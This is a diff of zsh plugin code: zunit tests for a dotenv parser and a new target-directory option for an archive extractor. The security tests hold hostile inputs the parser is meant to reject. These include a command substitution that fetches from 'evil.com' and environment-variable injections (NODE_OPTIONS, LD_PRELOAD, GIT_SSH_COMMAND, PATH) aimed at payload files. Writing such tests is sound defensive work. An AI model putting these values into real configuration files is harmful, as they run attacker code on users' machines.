multiline\ value\ that\ should\ be\ treated\ as\ a\ single\ line\ with\ a\ literal\ backslash\ and\ newline
|
||||||
|
MULTILINE_DOUBLE_QUOTED="This is a \
|
||||||
|
multiline value that should be treated as a single line with an actual newline character"
|
||||||
|
MULTILINE_SINGLE_QUOTED='This is a \
|
||||||
|
multiline value that should be treated as a single line with a literal backslash and newline'
|
||||||
|
MULTILINE_MIXED_QUOTES="This is a \
|
||||||
|
multiline value that should be treated as a single line with an actual newline character and a literal backslash \"and 'single quotes' inside"
|
||||||
|
|
||||||
|
# Test for regressions
|
||||||
|
DATABASE_URL="postgres://user:pass@host/db;sslmode=require"
|
||||||
|
VAR_WITH_SEMICOLONS="value ; with ; semicolons"
|
||||||
@@ -0,0 +1,398 @@
|
|||||||
|
#!/usr/bin/env zunit
|
||||||
|
|
||||||
|
|
||||||
|
@setup {
|
||||||
|
typeset -g fixture="$(_create_temp_fixture)"
|
||||||
|
typeset -gA expected_vars=()
|
||||||
|
}
|
||||||
|
|
||||||
|
@teardown {
|
||||||
|
[[ -f "$fixture" ]] && command rm -f "$fixture"
|
||||||
|
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'dotenv plugin loads successfully' {
|
||||||
|
assert "parse_dotenv" function_exists
|
||||||
|
assert "source_env" function_exists
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse returns error for unsupported mode' {
|
||||||
|
run _parse_dotenv_quiet "/dev/null" "export"
|
||||||
|
assert $state equals 0
|
||||||
|
|
||||||
|
run _parse_dotenv_quiet "/dev/null" "test"
|
||||||
|
assert $state equals 0
|
||||||
|
|
||||||
|
run _parse_dotenv_quiet "/dev/null" "invalid_mode"
|
||||||
|
assert $state equals 1
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse returns error for oversized file (> 10MiB)' {
|
||||||
|
command truncate -s 11M "$fixture" 2>/dev/null
|
||||||
|
|
||||||
|
run _parse_dotenv_quiet "$fixture" "test"
|
||||||
|
assert $state equals 1
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse returns error for non-existent file' {
|
||||||
|
run _parse_dotenv_quiet "/nonexistent/path/.env" "test"
|
||||||
|
assert $state equals 1
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'source_env loads named pipes without blocking' {
|
||||||
|
local tmpdir fifo output result
|
||||||
|
local child_pid writer_pid killer_pid child_rc
|
||||||
|
|
||||||
|
tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")"
|
||||||
|
fifo="$tmpdir/.env"
|
||||||
|
output="$tmpdir/output"
|
||||||
|
command mkfifo "$fifo"
|
||||||
|
|
||||||
|
(
|
||||||
|
print -r -- 'TOKEN=secret' > "$fifo"
|
||||||
|
) &
|
||||||
|
writer_pid=$!
|
||||||
|
|
||||||
|
(
|
||||||
|
ZSH_DOTENV_PROMPT=false
|
||||||
|
ZSH_DOTENV_FILE="$fifo"
|
||||||
|
source_env
|
||||||
|
print -r -- "${TOKEN-<unset>}" > "$output"
|
||||||
|
) &
|
||||||
|
child_pid=$!
|
||||||
|
|
||||||
|
(
|
||||||
|
sleep 2
|
||||||
|
kill -0 $child_pid 2>/dev/null || exit 0
|
||||||
|
kill $child_pid 2>/dev/null || exit 0
|
||||||
|
) &
|
||||||
|
killer_pid=$!
|
||||||
|
|
||||||
|
wait $child_pid
|
||||||
|
child_rc=$?
|
||||||
|
|
||||||
|
kill $killer_pid 2>/dev/null || true
|
||||||
|
kill $writer_pid 2>/dev/null || true
|
||||||
|
wait $writer_pid 2>/dev/null || true
|
||||||
|
|
||||||
|
[[ -f "$output" ]] && result="$(<"$output")"
|
||||||
|
command rm -rf "$tmpdir"
|
||||||
|
|
||||||
|
assert $child_rc equals 0
|
||||||
|
assert "$result" equals 'secret'
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'source_env rejects oversized named pipes' {
|
||||||
|
run zsh -fc '
|
||||||
|
source ./dotenv.plugin.zsh
|
||||||
|
|
||||||
|
tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")" || exit 1
|
||||||
|
fifo="$tmpdir/.env"
|
||||||
|
command mkfifo "$fifo" || exit 1
|
||||||
|
|
||||||
|
cleanup() {
|
||||||
|
kill $killer_pid 2>/dev/null || true
|
||||||
|
kill $writer_pid 2>/dev/null || true
|
||||||
|
wait $writer_pid 2>/dev/null || true
|
||||||
|
command rm -rf "$tmpdir"
|
||||||
|
}
|
||||||
|
trap cleanup EXIT
|
||||||
|
|
||||||
|
(
|
||||||
|
{
|
||||||
|
print -rn -- "BIG="
|
||||||
|
command dd if=/dev/zero bs=10485761 count=1 2>/dev/null | tr "\0" a
|
||||||
|
} > "$fifo"
|
||||||
|
) &
|
||||||
|
writer_pid=$!
|
||||||
|
|
||||||
|
(
|
||||||
|
sleep 2
|
||||||
|
kill -0 $$ 2>/dev/null || exit 0
|
||||||
|
kill $$ 2>/dev/null || exit 0
|
||||||
|
) &
|
||||||
|
killer_pid=$!
|
||||||
|
|
||||||
|
ZSH_DOTENV_PROMPT=false
|
||||||
|
ZSH_DOTENV_FILE="$fifo"
|
||||||
|
source_env >/dev/null 2>&1
|
||||||
|
'
|
||||||
|
|
||||||
|
assert $state equals 1
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse basic variable assignment' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Basic assignments
|
||||||
|
BASIC=basic
|
||||||
|
|
||||||
|
# previous line intentionally left blank
|
||||||
|
AFTER_LINE=after_line
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
BASIC 'basic'
|
||||||
|
AFTER_LINE 'after_line'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse empty values' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Empty values
|
||||||
|
EMPTY=
|
||||||
|
EMPTY_SINGLE_QUOTES=''
|
||||||
|
EMPTY_DOUBLE_QUOTES=""
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
EMPTY ''
|
||||||
|
EMPTY_SINGLE_QUOTES ''
|
||||||
|
EMPTY_DOUBLE_QUOTES ''
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse single quoted values' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Single quotes (literal, no expansion)
|
||||||
|
SINGLE_QUOTES='single_quotes'
|
||||||
|
SINGLE_QUOTES_SPACED=' single quotes '
|
||||||
|
DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
SINGLE_QUOTES 'single_quotes'
|
||||||
|
SINGLE_QUOTES_SPACED ' single quotes '
|
||||||
|
DONT_EXPAND_SQUOTED 'dontexpand\nnewlines'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse double quoted values' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Double quotes (with escapes)
|
||||||
|
DOUBLE_QUOTES="double_quotes"
|
||||||
|
DOUBLE_QUOTES_SPACED=" double quotes "
|
||||||
|
EXPAND_NEWLINES="expand\nnew\nlines"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
DOUBLE_QUOTES 'double_quotes'
|
||||||
|
DOUBLE_QUOTES_SPACED ' double quotes '
|
||||||
|
EXPAND_NEWLINES "expand\nnew\nlines"
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse unquoted values' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Unquoted (no escape expansion)
|
||||||
|
DONT_EXPAND_UNQUOTED=dontexpand\\nnewlines
|
||||||
|
EOF
|
||||||
|
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
DONT_EXPAND_UNQUOTED 'dontexpandnnewlines'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse quotes inside quotes' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Quotes inside quotes
|
||||||
|
DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
|
||||||
|
SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
DOUBLE_QUOTES_INSIDE_SINGLE 'double "quotes" work inside single quotes'
|
||||||
|
SINGLE_QUOTES_INSIDE_DOUBLE "single 'quotes' work inside double quotes"
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse inline comments' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Comments
|
||||||
|
# COMMENTS=work
|
||||||
|
INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
|
||||||
|
INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
|
||||||
|
INLINE_COMMENTS_UNQUOTED=value # work
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
INLINE_COMMENTS_SINGLE_QUOTES 'inline comments outside of #singlequotes'
|
||||||
|
INLINE_COMMENTS_DOUBLE_QUOTES 'inline comments outside of #doublequotes'
|
||||||
|
INLINE_COMMENTS_UNQUOTED 'value'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse ignores non-assignment commands with assignment-looking arguments' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
print SHOULD_NOT_PARSE=value
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse special characters' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Special characters
|
||||||
|
EQUAL_SIGNS=equals==
|
||||||
|
RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
|
||||||
|
USEREMAIL=therealnerdybeast@example.tld
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
EQUAL_SIGNS 'equals=='
|
||||||
|
RETAIN_INNER_QUOTES_AS_STRING '{"foo": "bar"}'
|
||||||
|
USEREMAIL 'therealnerdybeast@example.tld'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse multiline values with mixed quotes' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Multiline values with double quotes
|
||||||
|
MULTI_DOUBLE_QUOTED="THIS
|
||||||
|
IS
|
||||||
|
A
|
||||||
|
MULTILINE
|
||||||
|
STRING"
|
||||||
|
|
||||||
|
|
||||||
|
# Multiline values with single quotes
|
||||||
|
MULTI_SINGLE_QUOTED='THIS
|
||||||
|
IS
|
||||||
|
A
|
||||||
|
MULTILINE
|
||||||
|
STRING'
|
||||||
|
|
||||||
|
# Multiline PEM certificate
|
||||||
|
MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
|
||||||
|
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
|
||||||
|
LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
|
||||||
|
bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
|
||||||
|
kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
|
||||||
|
u4QuUoobAgMBAAE=
|
||||||
|
-----END PUBLIC KEY-----"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
MULTI_DOUBLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
|
||||||
|
MULTI_SINGLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
|
||||||
|
MULTI_PEM_DOUBLE_QUOTED $'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u\nLgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/\nbTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/\nkKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V\nu4QuUoobAgMBAAE=\n-----END PUBLIC KEY-----'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse export syntax' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Exported variables
|
||||||
|
export EXPORTED_VAR=exported_value
|
||||||
|
export EXPORTED_EMPTY=
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
EXPORTED_VAR 'exported_value'
|
||||||
|
EXPORTED_EMPTY ''
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse in-file variable expansion' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Variable expansion (in-file forward references)
|
||||||
|
BASE_URL=https://api.example.com
|
||||||
|
API_ENDPOINT="${BASE_URL}/v1"
|
||||||
|
FULL_ENDPOINT=$BASE_URL/v2/users
|
||||||
|
COMBINED="${BASE_URL}_suffix"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
BASE_URL 'https://api.example.com'
|
||||||
|
API_ENDPOINT 'https://api.example.com/v1'
|
||||||
|
FULL_ENDPOINT 'https://api.example.com/v2/users'
|
||||||
|
COMBINED 'https://api.example.com_suffix'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse in-file variable expansion prefers the longest matching variable name' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
A=1
|
||||||
|
ABC=2
|
||||||
|
X=$ABC
|
||||||
|
Y=${ABC}
|
||||||
|
Z=$ABCD
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
A '1'
|
||||||
|
ABC '2'
|
||||||
|
X '2'
|
||||||
|
Y '2'
|
||||||
|
Z ''
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse preserves escaped dollar signs before variable expansion' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
BAR=expanded
|
||||||
|
ESCAPED_UNQUOTED=foo\$BAR
|
||||||
|
ESCAPED_DOUBLE="foo\$BAR"
|
||||||
|
ESCAPED_BRACED="\${BAR}"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
BAR 'expanded'
|
||||||
|
ESCAPED_UNQUOTED 'foo$BAR'
|
||||||
|
ESCAPED_DOUBLE 'foo$BAR'
|
||||||
|
ESCAPED_BRACED '${BAR}'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
#!/usr/bin/env zunit
|
||||||
|
|
||||||
|
@setup {
|
||||||
|
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
@teardown {
|
||||||
|
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'compatibility: dotenvjs fixture matches native source' {
|
||||||
|
local fixture="${testdir:A}/_support/fixtures/dotenvjs.env"
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
_source_with_allexport "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'compatibility: features fixture matches native source' {
|
||||||
|
local fixture="${testdir:A}/_support/fixtures/features.env"
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
_source_with_allexport "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
|
||||||
|
}
|
||||||
@@ -0,0 +1,209 @@
|
|||||||
|
#!/usr/bin/env zunit
|
||||||
|
|
||||||
|
@setup {
|
||||||
|
typeset -g fixture="$(_create_temp_fixture)"
|
||||||
|
typeset -gA expected_vars=()
|
||||||
|
}
|
||||||
|
|
||||||
|
@teardown {
|
||||||
|
[[ -f "$fixture" ]] && command rm -f "$fixture"
|
||||||
|
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip dangerous backtick command substitution' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Should be skipped
|
||||||
|
DANGEROUS_BACKTICK=`whoami`
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip dangerous subshell command substitution' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Should be skipped
|
||||||
|
DANGEROUS_SUBSHELL=$(date)
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip nested command substitution in double quotes' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Should be skipped
|
||||||
|
DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip multiple words (potential command execution)' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Should be skipped - multiple words could execute commands
|
||||||
|
BASE_URL=/ echo command run
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'allow literal command substitution in single quotes' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Single quotes make everything literal - should be parsed
|
||||||
|
SAFE_SINGLE_QUOTED='$(this is literal)'
|
||||||
|
SAFE_BACKTICK='`also literal`'
|
||||||
|
|
||||||
|
# Should also be parsed
|
||||||
|
SAFE_VAR=safe_value
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
SAFE_SINGLE_QUOTED '$(this is literal)'
|
||||||
|
SAFE_BACKTICK '`also literal`'
|
||||||
|
SAFE_VAR 'safe_value'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip backticks in unquoted values' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Backticks in unquoted context - should be skipped
|
||||||
|
DANGEROUS_UNQUOTED=`echo danger`
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip dollar-paren in unquoted values' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Command substitution in unquoted context - should be skipped
|
||||||
|
DANGEROUS_UNQUOTED=$(uname -a)
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'allow safe dollar signs (variable refs without parens in single quotes)' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Dollar signs that don't start command substitution
|
||||||
|
SAFE_DOLLARS='$HOME is literal'
|
||||||
|
SAFE_PRICE='Cost is $50'
|
||||||
|
SAFE_VAR='value$123'
|
||||||
|
|
||||||
|
# Should all be parsed
|
||||||
|
SAFE_VAR2=safe_value
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
SAFE_DOLLARS '$HOME is literal'
|
||||||
|
SAFE_PRICE 'Cost is $50'
|
||||||
|
SAFE_VAR 'value$123'
|
||||||
|
SAFE_VAR2 'safe_value'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip quoted command substitution' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
HARMLESS_COMMAND="\$(echo)"
|
||||||
|
ANOTHER_ONE=$'\x24\x28echo\x29'
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'comprehensive security test with mixed safe and dangerous patterns' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# These should be SKIPPED (dangerous)
|
||||||
|
DANGEROUS_BACKTICK=`whoami`
|
||||||
|
DANGEROUS_SUBSHELL=$(date)
|
||||||
|
DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
|
||||||
|
LOOKS_SAFE=$(curl http://evil.com)
|
||||||
|
BASE_URL=/ echo command run
|
||||||
|
|
||||||
|
# These should WORK (safe)
|
||||||
|
SAFE_BEFORE=safe_value_1
|
||||||
|
SAFE_AFTER=safe_value_2
|
||||||
|
SAFE_SINGLE_QUOTED='$(this is literal)'
|
||||||
|
SAFE_SINGLE_QUOTED2='`also literal`'
|
||||||
|
SAFE_DOLLARS='$HOME'
|
||||||
|
SAFE_PRICE="$50"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
SAFE_BEFORE 'safe_value_1'
|
||||||
|
SAFE_AFTER 'safe_value_2'
|
||||||
|
SAFE_SINGLE_QUOTED '$(this is literal)'
|
||||||
|
SAFE_SINGLE_QUOTED2 '`also literal`'
|
||||||
|
SAFE_DOLLARS '$HOME'
|
||||||
|
SAFE_PRICE '$50'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@test 'blocks changes of special environment variables' {
|
||||||
|
_parse_dotenv_test =(<<'EOF'
|
||||||
|
# Executes on the next node/npm/npx invocation
|
||||||
|
NODE_OPTIONS=--require=./payload.js
|
||||||
|
|
||||||
|
# Used for shell initialization
|
||||||
|
BASH_ENV=./payload.sh
|
||||||
|
# Used for shell initialization in zsh, but also respected by some tools like git
|
||||||
|
# - https://man7.org/linux/man-pages/man1/dash.1.html#DESCRIPTION:~:text=by%20the%20shell.-,Invocation,-If%20no%20args
|
||||||
|
# - https://zsh.sourceforge.io/Doc/Release/Parameters.html#index-ENV
|
||||||
|
ENV=./payload.sh
|
||||||
|
# Used for zsh startup
|
||||||
|
ZDOTDIR=./.malicious_zsh
|
||||||
|
ZSH=./.malicious_zsh
|
||||||
|
|
||||||
|
# These are used for native code injection
|
||||||
|
LD_PRELOAD=./payload.so
|
||||||
|
LD_LIBRARY_PATH=./malicious_libs
|
||||||
|
DYLD_INSERT_LIBRARIES=./payload.dylib
|
||||||
|
|
||||||
|
# Git environment variables
|
||||||
|
GIT_CONFIG_GLOBAL=./.gitconfig-malicious
|
||||||
|
GIT_DIR=./malicious_git_dir
|
||||||
|
GIT_EDITOR=./malicious_editor
|
||||||
|
GIT_EXTERNAL_DIFF=./malicious_diff
|
||||||
|
GIT_EXEC_PATH=./.malicious_git_exec
|
||||||
|
GIT_PAGER=./malicious_pager
|
||||||
|
GIT_SSH=./malicious_ssh
|
||||||
|
GIT_SSH_COMMAND=./malicious_ssh_command
|
||||||
|
GIT_SSL_NO_VERIFY=true
|
||||||
|
GIT_TEMPLATE_DIR=./malicious_templates # for persistence
|
||||||
|
|
||||||
|
# Special exported variables
|
||||||
|
PATH=./malicious_bin:$PATH
|
||||||
|
EDITOR=./malicious
|
||||||
|
VISUAL=./malicious
|
||||||
|
PAGER=./malicious
|
||||||
|
EOF
|
||||||
|
)
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
@@ -53,5 +53,6 @@ local -a exts=(
|
|||||||
|
|
||||||
_arguments \
|
_arguments \
|
||||||
'(-r --remove)'{-r,--remove}'[Remove archive.]' \
|
'(-r --remove)'{-r,--remove}'[Remove archive.]' \
|
||||||
|
'(-t --to-directory)'{-t,--to-directory}'[Extract to a specific directory.]' \
|
||||||
"*::archive file:_files -g '(#i)*.(${(j:|:)exts})(-.)'" \
|
"*::archive file:_files -g '(#i)*.(${(j:|:)exts})(-.)'" \
|
||||||
&& return 0
|
&& return 0
|
||||||
|
|||||||
Regular → Executable
+40
-9
@@ -9,14 +9,41 @@ Usage: extract [-option] [file ...]
|
|||||||
|
|
||||||
Options:
|
Options:
|
||||||
-r, --remove Remove archive after unpacking.
|
-r, --remove Remove archive after unpacking.
|
||||||
|
-t, --to-directory <dir> Extract to a specific directory instead of the current one.
|
||||||
EOF
|
EOF
|
||||||
fi
|
fi
|
||||||
|
|
||||||
local remove_archive=1
|
local remove_archive=1
|
||||||
if [[ "$1" == "-r" ]] || [[ "$1" == "--remove" ]]; then
|
local target_directory=""
|
||||||
remove_archive=0
|
|
||||||
shift
|
while (( $# > 0 )); do
|
||||||
fi
|
case "$1" in
|
||||||
|
-r|--remove)
|
||||||
|
remove_archive=0
|
||||||
|
shift
|
||||||
|
;;
|
||||||
|
-t|--to-directory)
|
||||||
|
shift
|
||||||
|
if (( $# == 0 )); then
|
||||||
|
echo "extract: -t/--to-directory requires a directory argument" >&2
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
target_directory="$1"
|
||||||
|
shift
|
||||||
|
|
||||||
|
if [[ ! -d "$target_directory" ]]; then
|
||||||
|
echo "extract: '$target_directory' is not a valid directory" >&2
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
target_directory="${target_directory%/}"
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
break
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
|
||||||
local pwd="$PWD"
|
local pwd="$PWD"
|
||||||
while (( $# > 0 )); do
|
while (( $# > 0 )); do
|
||||||
@@ -35,6 +62,10 @@ EOF
|
|||||||
extract_dir="${extract_dir:r}"
|
extract_dir="${extract_dir:r}"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
if [[ -n "$target_directory" ]]; then
|
||||||
|
extract_dir="$target_directory/${extract_dir:t}"
|
||||||
|
fi
|
||||||
|
|
||||||
# If there's a file or directory with the same name as the archive
|
# If there's a file or directory with the same name as the archive
|
||||||
# add a random string to the end of the extract directory
